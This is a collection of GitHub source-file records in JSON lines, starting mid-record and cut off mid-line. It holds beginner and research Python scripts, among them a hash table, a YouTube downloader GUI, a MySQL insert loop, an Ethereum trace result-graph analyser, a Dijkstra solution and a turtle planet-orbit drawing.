self.small_sleep\n","repo_name":"yeboyebo/elganso_sync","sub_path":"ctrl_api_magento2_delete_tierprice__mg2_delete_tierprice_upload.py","file_name":"ctrl_api_magento2_delete_tierprice__mg2_delete_tierprice_upload.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12839666882","text":"#!/usr/bin/env python3\n# pylint: disable=too-few-public-methods\n\"\"\"\nHash table with linked list for entries with same hash\n\"\"\"\nimport hashlib\nimport ast\n\nimport logplot as logplot\n\nclass Node:\n    \"\"\"\n    Node data structure - essentially a LinkedList node\n    \"\"\"\n    def __init__(self, key, value):\n        self.key = key\n        self.value = [value]\n        self.next = None\n\n    def __eq__(self, other):\n        if not isinstance(other, Node):\n            return False\n        equal = self.key == other.key and self.value == other.value\n        if equal:\n            if self.next is not None or other.next is not None:\n                if self.next is None or other.next is None:\n                    equal = False\n                else:\n                    equal = self.next == other.next\n        return equal\n\nclass HashTable:\n    \"\"\"\n    Main hash table class\n    \"\"\"\n    def __init__(self, size=100000, log_name='1'):\n        \"\"\"\n        Initialize hash table to fixed size\n        \"\"\"\n        self.size = size\n        self.buckets = [None]*self.size\n        self.n_values = 0\n        self.log_name = log_name\n\n    def __eq__(self, other):\n        if not isinstance(other, HashTable):\n            return False\n\n        equal = True\n        for i in range(self.size):\n            if self.buckets[i] != other.buckets[i]:\n                equal = False\n                break\n        return equal\n\n    def hash(self, key):\n        \"\"\"\n        Generate a hash for a given key\n        Input:  string key\n        Output: hash\n        \"\"\"\n        string = ''.join(key)\n        new_hash = hashlib.md5()\n        new_hash.update(string.encode('utf-8'))\n        hashcode = new_hash.hexdigest()\n        hashcode = int(hashcode, 16)\n        return hashcode % self.size\n\n    def insert(self, key, value):\n        \"\"\"\n        Insert a key - value pair to the hashtable\n        Input:  key - string\n                value - anything\n        \"\"\"\n        index = self.hash(key)\n        node = self.buckets[index]\n        if node is None:\n            self.buckets[index] = Node(key, value)\n        else:\n            done = False\n            while not done:\n                if node.key == key:\n                    node.value.append(value)\n                    done = True\n                elif node.next is None:\n                    node.next = Node(key, value)\n                    done = True\n                else:\n                    node = node.next\n        self.n_values += 1\n\n    def find(self, key):\n        \"\"\"\n        Find a data value based on key\n        Input:  key - string\n        Output: value stored under \"key\" or None if not found\n        \"\"\"\n        index = self.hash(key)\n        node = self.buckets[index]\n        while node is not None and node.key != key:\n            node = node.next\n\n        if node is None:\n            return None\n        return node.value\n\n    def load(self):\n        \"\"\"\n        Loads hash table information.\n        \"\"\"\n        with open(logplot.get_log_folder(self.log_name) + '/hash_log.txt', 'r') as f:\n            lines = f.read().splitlines()\n\n            for i in range(0, len(lines)):\n                individual = lines[i]\n                individual = individual[5:].split(\", value: \")\n                key = ast.literal_eval(individual[0])\n                individual = individual[1].split(\", count: \")\n                values = individual[0][1:-1].split(\", \") #Remove brackets and split multiples\n                for value in values:\n                    self.insert(key, float(value))\n\n    def write_table(self):\n        \"\"\"\n        Writes table contents to a file\n        \"\"\"\n        with open(logplot.get_log_folder(self.log_name) + '/hash_log.txt', \"w\") as f:\n            for node in filter(lambda x: x is not None, self.buckets):\n                while node is not None:\n                    f.writelines(\"key: \" + str(node.key) + \\\n                                 \", value: \" + str(node.value) + \\\n                                 \", count: \" + str(len(node.value)) + \"\\n\")\n                    node = node.next\n        f.close()\n","repo_name":"matiov/learn-BTs-with-GP","sub_path":"behavior_tree_learning/hash_table.py","file_name":"hash_table.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"}
+{"seq_id":"8999925905","text":"from pytube import YouTube\r\nimport tkinter as tk\r\nfrom tkinter import *\r\nfrom tkinter import messagebox, filedialog\r\n# Defining CreateWidgets() function\r\n# to create necessary tkinter widgets\r\ndef Widgets():\r\n    link_label = Label(root, \r\n                       text=\"YouTube link  :\",\r\n                       bg=\"#E8D579\")\r\n    link_label.grid(row=1,\r\n                    column=0,\r\n                    pady=5,\r\n                    padx=5)\r\n   \r\n    root.linkText = Entry(root,\r\n                          width=55,\r\n                          textvariable=video_Link)\r\n    root.linkText.grid(row=1, \r\n                       column=1,\r\n                       pady=5,\r\n                       padx=5,\r\n                       columnspan = 2)\r\n   \r\n    destination_label = Label(root, \r\n                              text=\"Destination    :\",\r\n                              bg=\"#E8D579\")\r\n    destination_label.grid(row=2,\r\n                           column=0,\r\n                           pady=5,\r\n                           padx=5)\r\n   \r\n    root.destinationText = Entry(root,\r\n                                 width=40,\r\n                                 textvariable=download_Path)\r\n    root.destinationText.grid(row=2, \r\n                              column=1,\r\n                              pady=5,\r\n                              padx=5)\r\n   \r\n    browse_B = Button(root, \r\n                      text=\"Browse\",\r\n                      command=Browse,\r\n                      width=10,\r\n                      bg=\"#05E8E0\")\r\n    browse_B.grid(row=2,\r\n                  column=2,\r\n                  pady=1,\r\n                  padx=1)\r\n   \r\n    Download_B = Button(root,\r\n                        text=\"Download\", \r\n                        command=download, \r\n                        width=20,\r\n                        bg=\"#05E8E0\")\r\n    Download_B.grid(row=3,\r\n                    column=1,\r\n                    pady=3,\r\n                    padx=3)\r\n  \r\n# Defining Browse() to select a \r\n# destination folder to save the video\r\n  \r\ndef Browse():\r\n    # Presenting user with a pop-up for\r\n    # directory selection. initialdir \r\n    # argument is optional Retrieving the\r\n    # user-input destination directory and\r\n    # storing it in downloadDirectory\r\n    download_Directory = filedialog.askdirectory(initialdir=\"YOUR DIRECTORY PATH\")\r\n   \r\n    # Displaying the directory in the directory\r\n    # textbox\r\n    download_Path.set(download_Directory)\r\n  \r\ndef download():\r\n\r\n    #Showing all details for videos and downloading them one by one\r\n    link = video_Link.get()\r\n    yt = YouTube(link)\r\n    download_folder=download_Path.get()\r\n    print(\"\\nDetails for Video\",\"\\n\")\r\n    print(\"Title of video:   \",yt.title)\r\n    print(\"Number of views:  \",yt.views)\r\n    print(\"Length of video:  \",yt.length,\"seconds\")\r\n\r\n    '''Progressive streams are limited to 720p and it contains both audio and video codec files\r\n    while Dash streams have higher quality but only have video codecs.'''\r\n\r\n    #filter out progressive streams first\r\n    stream = str(yt.streams.filter(progressive=True))\r\n    #print(stream)\r\n    stream = stream[1:]\r\n    stream = stream[:-1]\r\n    streamlist = stream.split(\", \")\r\n    #print(\"\\nAll available options for downloads:\\n\")\r\n    for i in range(0,len(streamlist)):\r\n        st = streamlist[i].split(\" \")\r\n        #print(i+1,\") \",st[1],\" and \",st[3],sep='')\r\n    print(stream)\r\n    #tag = int(input(\"\\nEnter the itag of your preferred stream to download:   \"))\r\n    ys = yt.streams.filter(progressive=True, resolution='720p')\r\n    print (ys)\r\n    if ys :\r\n        #print(\"\\nDownloading...\")\r\n        ys.download(download_folder)\r\n    else:\r\n        ys = yt.streams.get_by_resolution('360p')\r\n        #print(\"\\nDownloading...\")\r\n        ys.download(download_folder)\r\n    # Displaying the message\r\n    messagebox.showinfo(\"SUCCESSFULLY\", \r\n                        \"DOWNLOADED AND SAVED IN\\n\" \r\n                        + download_folder)\r\n  \r\n    #print()\r\n\r\n# Creating object of tk class\r\nroot = tk.Tk()\r\n   \r\n# Setting the title, background color \r\n# and size of the tkinter window and \r\n# disabling the resizing property\r\nroot.geometry(\"600x120\")\r\nroot.resizable(False, False)\r\nroot.title(\"YouTube_Video_Downloader\")\r\nroot.config(background=\"#000000\")\r\n   \r\n# Creating the tkinter Variables\r\nvideo_Link = StringVar()\r\ndownload_Path = StringVar()\r\n   \r\n# Calling the Widgets() function\r\nWidgets()\r\n   \r\n# Defining infinite loop to run\r\n# application\r\nroot.mainloop()\r\n\r\n","repo_name":"cyberpanda18/YouTube-Video-Downloader","sub_path":"Youtube_Video_Downloader_gui.py","file_name":"Youtube_Video_Downloader_gui.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25537607348","text":"import mysql.connector as sqltor\r\n\r\nmydb = sqltor.connect(\r\n  host=\"localhost\",\r\n  user=\"root\",\r\n  password=\"hritikpankaj\",\r\n  database='db'\r\n)\r\n\r\nmycursor = mydb.cursor()\r\n\r\n#table=input(\"enter table name:\")\r\n#query=\"show tables\"\r\n\r\n\r\n#mycursor.execute(\r\n ##       '''create table student1(\r\n\t#       snum numeric(9,0) primary key,\r\n\t #    sname varchar(30),\r\n    #\t   major varchar(25),\r\n\t #      standing varchar(2),\r\n\t  #     age numeric(3,0)\r\n\t#);'''\r\n    #)\r\n#mycursor.execute('''create table Newenrolled(\r\n#\tsnum numeric(9,0),\r\n#\tcname varchar(40),\r\n#\tprimary key(snum,cname),\r\n##\tforeign key(cname) references class(name)\r\n#\t);'''\r\n # )\r\nwhile(True):\r\n    try:\r\n        snum = input(\"Enter the student's roll no...:   \")\r\n        sname=input(\"enter the student's name /for exit type q: \")\r\n        major=input('enter student major: ')\r\n        standing=input('enter student standing : ')\r\n        age=input('enter student age : ')\r\n        if sname == 'q':\r\n            break\r\n        \r\n        mycursor.execute(\r\n            \"INSERT INTO Student1 (snum, sname, major, standing, age) VALUES (%s, %s, %s, %s, %s)\",\r\n            (snum, sname, major, standing, age)\r\n        )\r\n        mydb.commit()\r\n\r\n    except sqltor.errors.DatabaseError as err:\r\n          if err.errno == 1062:\r\n              print(\"Duplicate Entry\")\r\n          elif err.errno == 1406:\r\n              print(\"Maximum length exceeded. Try again.\")\r\n          elif err.errno == 1146:\r\n              print(\"Table not found.\")\r\n          elif err.errno == 1054:\r\n               print(\"Unidentified input parameter\")\r\n          else:\r\n              print(err)\r\n\r\n# close the database connection\r\nmydb.close()\r\n\r\n\r\n  \r\n  \r\n\r\n","repo_name":"harryhritik12/sql","sub_path":"lab9q1.py","file_name":"lab9q1.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23895819642","text":"import logging\n\nimport networkx as nx\nfrom networkx.algorithms.traversal import dfs_edges\n\nfrom ..knowledge import SensitiveAPIs\nfrom ..results import ResultType\nfrom .action_tree import ActionTree\nfrom .transaction import Transaction\n\nl = logging.getLogger(\n    \"transaction-trace.analysis.intermediate_representations.ResultGraph\")\n\n\nclass SensitiveResult:\n\n    def __init__(self, result_type, details):\n        self.result_type = result_type\n        self.details = details\n\n\ndef invalid_contract_address(addr):\n    return addr.startswith(\"0x0000000000000000000000000000000000\")\n\n\nclass ResultGraph:\n\n    def __init__(self, tx, tree, graph):\n        self.tx = tx\n        self.t = tree\n        self.g = graph\n\n    @staticmethod\n    def extract_token_address(token_result_type):\n        return token_result_type.split(':')[1]\n\n    @staticmethod\n    def extract_result_type(result_type):\n        return result_type.split(':')[0]\n\n    @staticmethod\n    def append_result_to_graph(src, dst, amount, result_type, graph):\n        graph.add_edge(src, dst)\n\n        if result_type not in graph[src][dst]:\n            graph[src][dst][result_type] = amount\n        else:\n            graph[src][dst][result_type] += amount\n\n        if result_type not in graph.nodes[src]:\n            graph.nodes[src][result_type] = -amount\n        else:\n            graph.nodes[src][result_type] -= amount\n\n        if result_type not in graph.nodes[dst]:\n            graph.nodes[dst][result_type] = amount\n        else:\n            graph.nodes[dst][result_type] += amount\n\n    @staticmethod\n    def build_result_tree(action_tree):\n        tree = nx.DiGraph()\n\n        for e in action_tree.t.edges():\n            tree.add_edge(*e)\n            trace = action_tree.t.edges[e]\n\n            if trace['status'] == 0:  # error trace will not cause any results\n                continue\n\n            if trace['value'] > 0:  # check ether transfer\n                result_type = ResultType.ETHER_TRANSFER\n                amount = trace['value']\n                tree.edges[e][result_type] = amount\n            elif SensitiveAPIs.sensitive_function_call(trace['input']):\n                # check input data for token transfer and owner change\n                for result_type, src, dst, amount in SensitiveAPIs.get_result_details(trace):\n                    if result_type is None:\n                        continue\n                    if result_type not in tree.edges[e]:\n                        tree.edges[e][result_type] = list()\n                    tree.edges[e][result_type].append((src, dst, amount))\n\n        return tree\n\n    @staticmethod\n    def build_partial_result_graph(result_tree, entry, direct_edges=None):\n        graph = nx.DiGraph()\n\n        edges = direct_edges if direct_edges is not None else dfs_edges(result_tree, entry)\n        for e in edges:\n            for result_type in result_tree.edges[e]:\n                if result_type == ResultType.ETHER_TRANSFER:\n                    src = ActionTree.extract_address_from_node(e[0])\n                    dst = ActionTree.extract_address_from_node(e[1])\n                    if src == dst:\n                        continue\n                    amount = result_tree.edges[e][result_type]\n\n                    ResultGraph.append_result_to_graph(\n                        src, dst, amount, result_type, graph)\n\n                elif result_type == ResultType.TOKEN_TRANSFER:\n                    token_address = ActionTree.extract_address_from_node(e[1])\n                    for (src, dst, amount) in result_tree.edges[e][result_type]:\n                        if src == dst:\n                            continue\n                        graph.add_edge(src, dst)\n\n                        token_result_type = f\"{result_type}:{token_address}\"\n                        ResultGraph.append_result_to_graph(\n                            src, dst, amount, token_result_type, graph)\n\n                else:  # ResultType.OWNER_CHANGE\n                    for (src, dst, amount) in result_tree.edges[e][result_type]:\n                        graph.add_edge(src, dst)\n                        graph[src][dst][result_type] = None\n                        graph.nodes[dst][result_type] = None\n\n        return graph\n\n    @staticmethod\n    def build_result_graph(action_tree, token_transfers=None):\n        root = [n for n, d in action_tree.t.in_degree() if d == 0]\n        if len(root) > 1:\n            l.warning(\"more than one root in action tree of %s\",\n                      action_tree.tx.tx_hash)\n\n        result_tree = ResultGraph.build_result_tree(action_tree)\n        graph = ResultGraph.build_partial_result_graph(result_tree, root[0])\n\n        if token_transfers != None:\n            for row in token_transfers:\n                token_result_type = f\"{ResultType.TOKEN_TRANSFER_EVENT}:{row['token_address']}\"\n                ResultGraph.append_result_to_graph(\n                    row['from_address'], row['to_address'], int(row['value']), token_result_type, graph)\n\n        return ResultGraph(action_tree.tx, result_tree, graph)\n","repo_name":"shelvenzhou/transaction_trace","sub_path":"transaction_trace/analysis/intermediate_representations/result_graph.py","file_name":"result_graph.py","file_ext":"py","file_size_in_byte":5033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34741054984","text":"\n#Create two classes that inherit from another class.\n    #each child should have at least two of their own attributes.\n    #The parent class should have at least one method (function).\n    #Both child classes should utilize polymorphism on the parent class method.\n    #Add comments throughout your Python explaining your code.\n\n\n\n#Parent class -- High School\nclass Main_HighSchool:\n    Type = \"Admin\"\n    ID_Number = 53351\n    Login_Type = \"admin\"\n    email = \"admin@admin.com\"\n\n    def getLoginInfo(self):\n        entry_email = input(\"Enter your email:\")\n        entry_type = input(\"Enter your role:\")\n        if (entry_email == self.email and entry_type == admin):\n            print(\"Welcome into the admin portal!\")\n        else:\n            print(\"You are not allowed entry.\")\n\n\n#Child Class Student - difference being that this for a student instead of admin and has two new attributes\nclass Student(Main_HighSchool):\n    Type = \"Student\"\n    grade = 12\n    Student_Login = \"student\"\n    \n     \n    def getLoginInfo(self):\n        entry_email = input(\"Enter your email:\")\n        entry_type = input(\"Enter your role:\")\n        if (entry_email == self.email and entry_type == Student_Login):\n            print(\"Welcome into the student portal!\")\n        else:\n            print(\"You are not allowed entry.\")\n\n\n#Child Class Teacher  difference being that this for a student instead of admin and has two new attributes\nclass Teacher(Main_HighSchool):\n    Type = \"Teacher\"\n    Subject = 'English'\n    Teacher_Login = \"student\"\n    \n     \n    def getLoginInfo(self):\n        entry_email = input(\"Enter your email:\")\n        entry_type = input(\"Enter your role:\")\n        if (entry_email == self.email and entry_type == Teacher_Login):\n            print(\"Welcome into the Teacher portal!\")\n        else:\n            print(\"You are not allowed entry.\")\n\n\n","repo_name":"adschaff/Python-Projects","sub_path":"Polymorphism_Assignment.py","file_name":"Polymorphism_Assignment.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35141856852","text":"# puspa raaz  code nhi  krega sala🥱 🥱\nfrom Task_1 import adventure_movie\nfrom Task_2 import top_movie\nimport json\n\ndec_arg = top_movie(adventure_movie())\n\ndef group_by_decade(movies):\n    moviedec = {}\n    decade_year = []                   #[2010, 1950, 1920, 2020, 1930, 1970, 2000, 1940, 1960, 1980, 1990]\n    for index in movies:  #task 2 ka solution\n        Mod = index % 10    # mod = 3\n        decade = index - Mod  # decade 1970\n        if decade not in decade_year:\n            decade_year.append(decade)   # it is creating list of decates\n    decade_year.sort() \n    for decade in decade_year:\n        moviedec[decade] = []\n    \n    for moviedec_key in moviedec: #trask 2 ka solution hai jo\n        dec10 = moviedec_key + 9    # dec10 = 1959\n        for values in movies:\n            if values >= moviedec_key and values <= dec10:   # 2018 >= 2010      2018 <= 2019\n                moviedec[moviedec_key].append(movies[values])\n\n    with open('top_movie_3.json', 'w') as file:\n        json.dump(moviedec, file, indent=4)\n    return moviedec\n\ngroup_by_decade(dec_arg)\n# print(dec_arg)\n","repo_name":"karinabora/webscraping","sub_path":"task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"38701017370","text":"import heapq\n\nINF = int(1e11)\n\ndef solution(N, road, K):\n    graph = [[] for _ in range(N+1)]\n    for roadE in road:\n        a,b,c = roadE\n        graph[a].append((c,b))\n        graph[b].append((c,a))\n    \n    dist = [INF for _ in range(N+1)]\n    priorQ = []\n    heapq.heappush(priorQ,(0,1))\n    \n    while(priorQ):\n        cost,node = heapq.heappop(priorQ)\n        if(dist[node]>cost):\n            dist[node] = cost\n            for nCost,nNode in graph[node]:\n                newCost = nCost + cost\n                if(dist[nNode]>newCost):\n                    heapq.heappush(priorQ,(newCost,nNode))\n    ans =0\n    for ind in range(1,N+1):\n        if(dist[ind]<=K):\n            ans+=1\n    \n\n    return ans","repo_name":"soyoung96/CodingTest","sub_path":"최단경로/프로그래머스/[Summer/Winter Coding(~2018)]배달.py","file_name":"Winter Coding(~2018)]배달.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7200732762","text":"# Patrick Schassberger\n# CSCI 101 - Section C\n# Create - Mandala\n\n\nimport turtle\nimport math\nimport sys\n\nplanet_list = [\"Mercury\", \"Venus\", \"Earth\", \"Mars\", \"Jupiter\", \"Saturn\", \"Uranus\", \"Neptune\"]\n# interface\n\n\nprint(\n    \"Hello!!! \\nAnd welcome to our solar system!\\nWe will be using turtle and a little bit of math to trace some beautiful mandala patterns made by our planets and their orbits!\")\nprint(\"Our planets are as follows:\\n- Mercury\\n- Venus\\n- Earth\\n- Mars\\n- Jupiter\\n- Sarturn\\n- Uranus\\n- Neptune\")\n(a, b) = input(\"Please enter your two favorite planets in our system:\\n> \").split()\na = a.capitalize()\nb = b.capitalize()\nwhile (a or b) not in (planet_list):\n    (a, b) = input(\"Error, please enter two valid planets from our solar system:\\n> \").split()\n    a = a.capitalize()\n    b = b.capitalize()\ntime = int(input(\"Enter how many years you would like to plot:\\n> \"))\nprint(\"\\nPlease enjoy the following animation.\")\n\n# my graphics window\nmy_screen = turtle.Screen()\nmy_screen.setup(1000, 1000)\nmy_screen.bgcolor(\"black\")\n\n\n# creating my objects(planets)\ndef sol():\n    sol = turtle.Turtle()\n    sol.shape(\"circle\")\n    sol.color(\"yellow\")\n    sol.shapesize(5, 5)\n    sol.setpos(0, 0)\n\n\n# Mercury\ndef mercury():\n    mercury = turtle.Turtle()\n    mercury.penup()\n    mercury.speed(100)\n    mercury.goto(60, 0)\n    mercury.pendown()\n    mercury.shape(\"circle\")\n    mercury.color(\"chocolate\")\n    mercury.shapesize(0.8, 0.8)\n    origin = 60\n    deg = 3\n\n    return mercury, deg, origin\n\n\n# Venus\ndef venus():\n    venus = turtle.Turtle()\n    venus.penup()\n    venus.speed(100)\n    venus.goto(100, 0)\n    venus.pendown()\n    venus.shape(\"circle\")\n    venus.color(\"gold\")\n    venus.shapesize(1, 1)\n    origin = 100\n    deg = 1.7\n\n    return venus, deg, origin\n\n\n# earth\ndef earth():\n    gaia = turtle.Turtle()\n    gaia.penup()\n    gaia.speed(80)\n    gaia.goto(160, 0)\n    gaia.pendown()\n    gaia.shape(\"circle\")\n    gaia.color(\"skyblue\")\n    gaia.shapesize(1.3, 1.3)\n    origin = 160\n    deg = 1\n\n    return gaia, deg, origin\n\n\n# mars\ndef mars():\n    mars = turtle.Turtle()\n    mars.penup()\n    mars.speed(80)\n    mars.goto(225, 0)\n    mars.pendown()\n    mars.shape(\"circle\")\n    mars.color(\"maroon\")\n    mars.shapesize(1.3, 1.3)\n    origin = 225\n    deg = 0.5\n\n    return mars, deg, origin\n\n\n# jupiter\ndef jupiter():\n    jupiter = turtle.Turtle()\n    jupiter.penup()\n    jupiter.speed(80)\n    jupiter.goto(300, 0)\n    jupiter.pendown()\n    jupiter.shape(\"circle\")\n    jupiter.color(\"gold\")\n    jupiter.shapesize(3.5, 3.5)\n    origin = 300\n    deg = 0.08\n\n    return jupiter, deg, origin\n\n\n# saturn\ndef saturn():\n    saturn = turtle.Turtle()\n    saturn.penup()\n    saturn.speed(80)\n    saturn.goto(350, 0)\n    saturn.pendown()\n    saturn.shape(\"circle\")\n    saturn.color(\"brown\")\n    saturn.shapesize(3, 3)\n    origin = 350\n    deg = 0.03\n\n    return saturn, deg, origin\n\n\n# uranus\ndef uranus():\n    uranus = turtle.Turtle()\n    uranus.penup()\n    uranus.speed(80)\n    uranus.goto(440, 0)\n    uranus.pendown()\n    uranus.shape(\"circle\")\n    uranus.color(\"turquoise\")\n    uranus.shapesize(2.8, 2.8)\n    origin = 440\n    deg = 0.011\n\n    return uranus, deg, origin\n\n\n# neptune\ndef neptune():\n    neptune = turtle.Turtle()\n    neptune.penup()\n    neptune.speed(80)\n    neptune.goto(600, 0)\n    neptune.pendown()\n    neptune.shape(\"circle\")\n    neptune.color(\"blue\")\n    neptune.shapesize(2.8, 2.8)\n    origin = 600\n    deg = 0.006\n\n    return neptune, deg, origin\n\n\n# create motion being multiplied by sine cosine by increments\ndef A_motion(planet, deg, origin):  # updates x and y positions over time\n    x_pos = origin * math.cos(deg)\n    y_pos = origin * math.sin(deg)\n    planet.goto(x_pos, y_pos)\n    a_pos = (x_pos, y_pos)\n\n    return a_pos\n\n\ndef B_motion(planet, deg, origin):  # updates x and y positions over time\n    x_pos = origin * math.cos(deg)\n    y_pos = origin * math.sin(deg)\n    planet.goto(x_pos, y_pos)\n    b_pos = (x_pos, y_pos)\n\n    return b_pos\n\n\n# update position and drawing a line between the two planets\ndef line(a_pos, b_pos):  # updates x and y positions over time\n    line = turtle.Turtle()\n    line.color(\"white\")\n    line.speed(100)\n    line.hideturtle()\n    line.penup()\n    line.goto(a_pos)\n    line.pendown()\n    line.goto(b_pos)\n    line.penup()\n\n\n# Making it happen\n\n# if game picking a planet\nif a == \"Mercury\":\n    (planet_a, deg_a, origin_a) = mercury()\nif a == \"Venus\":\n    (planet_a, deg_a, origin_a) = venus()\nif a == \"Earth\":\n    (planet_a, deg_a, origin_a) = earth()\nif a == \"Mars\":\n    (planet_a, deg_a, origin_a) = mars()\nif a == \"Jupiter\":\n    (planet_a, deg_a, origin_a) = jupiter()\nif a == \"Saturn\":\n    (planet_a, deg_a, origin_a) = saturn()\nif a == \"Uranus\":\n    (planet_a, deg_a, origin_a) = uranus()\nif a == \"Neptune\":\n    (planet_a, deg_a, origin_a) = neptune()\n\nif b == \"Mercury\":\n    (planet_b, deg_b, origin_b) = mercury()\nif b == \"Venus\":\n    (planet_b, deg_b, origin_b) = venus()\nif b == \"Earth\":\n    (planet_b, deg_b, origin_b) = earth()\nif b == \"Mars\":\n    (planet_b, deg_b, origin_b) = mars()\nif b == \"Jupiter\":\n    (planet_b, deg_b, origin_b) = jupiter()\nif b == \"Saturn\":\n    (planet_b, deg_b, origin_b) = saturn()\nif b == \"Uranus\":\n    (planet_b, deg_b, origin_b) = uranus()\nif b == \"Neptune\":\n    (planet_b, deg_b, origin_b) = neptune()\n\ni = 0\nsol()\nfor k in range(time * 64):\n    a_pos = A_motion(planet_a, i * deg_a, origin_a)\n    b_pos = B_motion(planet_b, i * deg_b, origin_b)\n    line(a_pos, b_pos)\n    i += 0.1\n\nsys.exit()","repo_name":"pschassberger/Orbital_Mandalas","sub_path":"mandala.py","file_name":"mandala.py","file_ext":"py","file_size_in_byte":5505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1795215518","text":"import sys, getpass, os\r\nsys.path.append('Libraries')\r\nfrom rmquestionnaire import *\r\n\r\n### Load specific libraries for this module\r\nimport tkinter as tk\r\nfrom tkinter import ttk,StringVar, filedialog, scrolledtext, messagebox\r\nimport re\r\n\r\n#################################################\r\n## Useful general functions\r\ndef open_file_local(f):\r\n    \"\"\" Opens a file with the proper default program, for Windows and Linux.\"\"\"\r\n    if sys.platform == 'linux':\r\n        os.system(\"xdg-open \\\"{0}\\\" &\".format(f))\r\n    elif re.search(\"win\", sys.platform):\r\n        # http://www.quora.com/What-is-the-equivalent-of-xdg-open-on-Windows\r\n        os.system(\"start \\\"\\\" \\\"{0}\\\"\".format(f))\r\n\r\n        \r\nclass StdoutRedirector(object):\r\n    \"\"\" A class to write out the standard output to a tkinter Text widget.\"\"\"\r\n    def __init__(self,text_widget):\r\n        self.text_space = text_widget\r\n\r\n    def write(self,string):\r\n        self.text_space.insert('end', string)\r\n        self.text_space.see('end')\r\n        \r\n    def flush(self):\r\n        pass\r\n\r\n#################################################\r\n## RM Class of the GUI\r\nclass RM():\r\n    \"\"\" Defines the RM module GUI using tkinter class.\r\n    \r\n    Attributes:\r\n\r\n    Arguments\r\n        master := an object of tk.TK().\r\n        database := location of the database file, here it is set to 'Database/Prod.db'.\r\n        log_folder := A folder where validation and data reports are saved, by default it is '/Log'.\r\n    output_folder := A folder where all excel data or indicator extraction are saved, default is '/Export'.\r\n\r\n    Initiated\r\n        backup_folder := A folder where all questionnaire imports are saved, default is '/Import'.\r\n        main_dir := location of the current directory in the system.\r\n        username := the system user name of the user, works on windows and linux.\r\n    \"\"\"\r\n    series = {'Reported':'REP', 'Observed': 'OBS', 'Estimated':'EST'}\r\n\r\n    def __init__(self, master, database, log_folder='Log', output_folder_default='Export'):\r\n        \"\"\" Main initialization of the GUI.\"\"\"\r\n        self.master = master\r\n        self.database = database\r\n        self.backup_folder = 'Import'\r\n        if not os.path.exists(log_folder): os.makedirs(log_folder)\r\n        if not os.path.exists(output_folder_default): os.makedirs(output_folder_default)\r\n        if not os.path.exists(self.backup_folder): os.makedirs(self.backup_folder)\r\n        self.log_folder = log_folder\r\n        self.main_dir = os.getcwd()\r\n        self.output_folder_default = output_folder_default\r\n        self.output_folder_var = ''\r\n        self.master.title('Regional module Survey: main dir ' + self.main_dir)\r\n        # width x height + x_offset + y_offset:\r\n        self.master.geometry(\"800x900+0+0\")\r\n        self.status = StringVar()\r\n        self.createWidgets()\r\n        self.setFormating()\r\n        self.messages()\r\n        self.valid_quest = ''\r\n        \r\n    def createWidgets(self):\r\n        \"\"\" Creating all widgets in the GUI.\"\"\"\r\n        ## Static variables\r\n        pad = 5                 # size padding for frames\r\n        ## Styles\r\n        style = ttk.Style()\r\n        style.configure(\"BW.TLabel\", foreground=\"black\", background=\"white\")\r\n        ###### Settings frame\r\n        RM.username = getpass.getuser()\r\n        settingframe = ttk.LabelFrame(self.master, text='General information' ,padding= (pad, pad, pad, pad))\r\n        settingframe.pack(fill=\"y\", side= 'top')\r\n        ttk.Label(settingframe, text ='User ').grid(row=0, column=0, sticky = 'W')\r\n        ttk.Label(settingframe, text = RM.username, padding=2, style=\"BW.TLabel\").grid(row=0, column=1, sticky = 'W')\r\n        ttk.Label(settingframe, text = \"Main working directory \").grid(row=1, column=0, sticky = 'W')\r\n        ttk.Label(settingframe, text = self.main_dir, padding=2, style=\"BW.TLabel\").grid(row=1, column=1, sticky = 'W')\r\n        ttk.Label(settingframe, text = \"Database \").grid(row=2, column=0, sticky = 'W')\r\n        ttk.Label(settingframe, text = self.database, padding=2, style=\"BW.TLabel\").grid(row=2, column=1, sticky = 'W')\r\n        ttk.Label(settingframe, text = \"Log folder \").grid(row=0, column=2, sticky = 'W')\r\n        ttk.Label(settingframe, text = self.log_folder, padding=2, style=\"BW.TLabel\").grid(row=0, column=3, sticky = 'W')\r\n        ttk.Label(settingframe, text = \"Output folder \").grid(row=1, column=2, sticky = 'W')\r\n        ttk.Label(settingframe, text = self.output_folder_default, padding=2, style=\"BW.TLabel\").grid(row=1, column=3, sticky = 'W')\r\n        ttk.Label(settingframe, text = \"Import backup folder \").grid(row=2, column=2, sticky = 'W')\r\n        ttk.Label(settingframe, text = self.backup_folder, padding=2, style=\"BW.TLabel\").grid(row=2, column=3, sticky = 'W')\r\n        # ####### Import frame\r\n        readframe = ttk.LabelFrame(self.master, text=\"Importing questionnaire to database\", padding = (pad, pad, pad, pad))\r\n        readframe.pack(fill=\"x\", side = 'top', padx = 3, pady=3,ipadx=3, ipady=3, anchor = 'nw')\r\n        self.lf_impOptions = ttk.LabelFrame(readframe , text=\"Insert a:\")\r\n        self.lf_impOptions.grid(row=3, columnspan=3, sticky='NSEW', padx=5, pady=5, ipadx=5, ipady=5)\r\n\r\n        # ## Text boxes\r\n        self.entry_one = ttk.Entry(self.lf_impOptions,width=50)\r\n        self.entry_one.grid(row=0, column=1, sticky='W')\r\n\r\n        # # Buttons\r\n        self.rep_validate = tk.IntVar()\r\n        ttk.Button(self.lf_impOptions, text ='Browse..', command = lambda x='file': self.select_file(x)).grid(row=0, column=3, sticky='W')\r\n        ttk.Button(self.lf_impOptions, text ='Validate', command =  